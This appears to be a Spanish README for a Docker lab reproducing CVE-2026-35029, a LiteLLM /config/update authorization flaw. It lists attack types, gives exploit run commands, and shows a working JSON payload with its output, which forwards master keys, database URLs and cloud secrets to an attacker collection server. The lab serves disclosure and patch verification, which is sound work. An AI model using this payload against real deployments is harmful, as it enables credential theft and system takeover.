
El código para reproducir personalmente la vulnerabilidad correspondiente
/config/update de LiteLLM (Broken Access Control)El endpoint
/config/updatede LiteLLM no comprueba los permisos de rol del solicitante. Cualquier usuario autenticado con una API Key válida (sin necesidad de permisos de administrador) puede modificar la configuración del proxy y registrar endpoints Pass-Through maliciosos para lograr robo de variables de entorno, lectura arbitraria de archivos, ejecución remota de código, entre otros ataques.
| Campo | Valor |
|---|---|
| CVE | CVE-2026-35029 |
| CVSS v4.0 | 8.7 (HIGH) — CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:N |
| CVSS v3.1 | 8.8 (HIGH) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-863 (Incorrect Authorization) / CWE-285 (Improper Authorization) |
| Afectados | LiteLLM < 1.83.0 |
| Corregido | v1.83.0+ (se añadió la comprobación del rol proxy_admin en /config/update) |
| Publicado | 2026-04-06 |
| Descubierto por | Timo Müller — SEC Consult Vulnerability Lab (Munich) |
| Detectado | 2026-02-24 |
| Enlaces | GHSA-53mr-6c8q-9789 • NVD • SEC Consult |
El endpoint /config/update de LiteLLM debería permitir únicamente llamadas del rol proxy_admin, pero antes de la v1.83.0 no realizaba ninguna comprobación de rol. Cualquier usuario con una API Key válida podía invocar este endpoint.
| Tipo de ataque | Descripción |
|---|---|
| Robo de variables de entorno | Registrar un endpoint Pass-Through y robar DATABASE_URL, LITELLM_MASTER_KEY, etc., mediante referencias de cabecera os.environ/VAR_NAME |
| Lectura arbitraria de archivos | Aprovechar la característica de codificación Base64 de las cabeceras LANGFUSE_* para leer el sistema de archivos del servidor |
| Manipulación de configuración | Sobrescribir UI_USERNAME y UI_PASSWORD para secuestrar la cuenta de administrador |
| Ejecución remota de código | Registrar un manejador de endpoint Pass-Through que apunte al código Python del atacante |
⚠️ Importante: el
docker-compose.ymlfija la imagen vulnerable a un digest específico (sha256:5beb4ea6...) del 24 de enero de 2026. No lo cambie amain-v1.81.0-stableni a ninguna otra etiqueta mutable: las imágenes posteriores pueden haberse reconstruido con correcciones, lo que rompería la reproducción.
# 1. 启动脆弱版 LiteLLM + 攻击者数据接收服务器
docker compose up -d
# 2. 安装依赖
pip install -r requirements.txt
# 3. 运行完整攻击链(环境变量窃取 + 文件读取)
python3 exploit/exploit.py --mode full-chain \
--target http://localhost:4000 \
--key sk-litellm-master-key
# 4. 仅窃取环境变量
python3 exploit/exploit.py --mode exfil \
--target http://localhost:4000 \
--key sk-litellm-master-key
# 5. (可选)验证修复版本不受影响
docker compose --profile fixed up -d
python3 exploit/exploit.py --mode full-chain \
--target http://localhost:4001 \
--key sk-litellm-master-key --fixed
Nota: al iniciar el contenedor por primera vez, espere unos 30-60 s (comprobación de salud de PostgreSQL + migración de la base de datos de Prisma); ejecute el exploit solo cuando aparezca
Uvicorn running on http://0.0.0.0:4000en los registros del contenedor.
Robo de variables de entorno:
======================================================================
[VULNERABLE] Phase 1: Environment Variable Exfiltration
======================================================================
[*] Step 1: Registering pass-through endpoint via /config/update...
Payload: {
"general_settings": {
"pass_through_endpoints": [
{
"path": "/exfil/env",
"target": "http://exfil-server:9999/collect",
"headers": {
"X-Exfil-1-LITELLM_MASTER_KEY": "os.environ/LITELLM_MASTER_KEY",
"X-Exfil-2-DATABASE_URL": "os.environ/DATABASE_URL",
"X-Exfil-3-AWS_SECRET_ACCESS_KEY": "os.environ/AWS_SECRET_ACCESS_KEY",
"X-Exfil-4-OPENAI_API_KEY": "os.environ/OPENAI_API_KEY"
}
}
]
}
}
HTTP 200
[+] Config update accepted!
[*] Step 2: Waiting for pass-through route propagation...
6 seconds...
[*] Step 3: Triggering pass-through endpoint at /exfil/env...
HTTP 200
Response: {"status":"received","message":"Data captured by exfiltration server"}
[*] Step 4: Checking exfiltration server for stolen data...
[🔥] EXFILTRATION LOGS:
────────────────────────────────────────────────────────────
📥 Request received
Path : /collect
Headers:
X-Exfil-1-LITELLM_MASTER_KEY: sk-litellm-master-key
X-Exfil-2-DATABASE_URL: postgresql://admin:[email protected]:5432/production
X-Exfil-3-AWS_SECRET_ACCESS_KEY: AKIA1234567890EXAMPLE
X-Exfil-4-OPENAI_API_KEY: sk-openai-secret-key-leaked
[🔥] EXPLOIT SUCCEEDED! Sensitive data exfiltrated!
La versión corregida deniega el acceso (devuelve 403 al usar una Key no administradora):
======================================================================
[FIXED] Phase 1: Environment Variable Exfiltration
======================================================================
HTTP 403
[-] Forbidden — target may be patched (v1.83.0+)
[+] Expected: fixed version blocks non-admin config updates
Nota: si utiliza la Master Key (
sk-litellm-master-key) para probar la versión corregida, la actualización de configuración seguirá devolviendo HTTP 200 (la Master Key tiene el rolproxy_admin), pero el registro del endpoint Pass-Through puede no surtir efecto o ser ignorado silenciosamente. Se recomienda usar una Key no administradora para verificar la corrección.